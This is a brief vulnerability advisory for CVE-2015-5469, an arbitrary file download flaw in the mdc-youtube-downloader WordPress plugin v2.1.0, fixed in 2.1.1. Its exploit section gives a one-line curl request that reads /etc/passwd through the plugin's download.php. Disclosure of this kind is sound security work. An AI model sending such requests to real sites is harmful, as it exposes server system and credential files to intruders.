Arbitrary file download vulnerability in Wordpress Plugin mdc-youtube-downloader v2.1.0

#884 · 2015-07-01

CVE ID(s): CVE-2015-5469

Notified: 2015-07-01

Description:

MDC YouTube Downloader allows visitors to download YouTube videos directly from your WordPress site.

Exploit:

$ curl http://www.example.com/wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd

Notes:

fixed in 2.1.1.

Download: https://wordpress.org/plugins/mdc-youtube-downloader

URL: http://www.vapid.dhs.org/advisory.php?v=133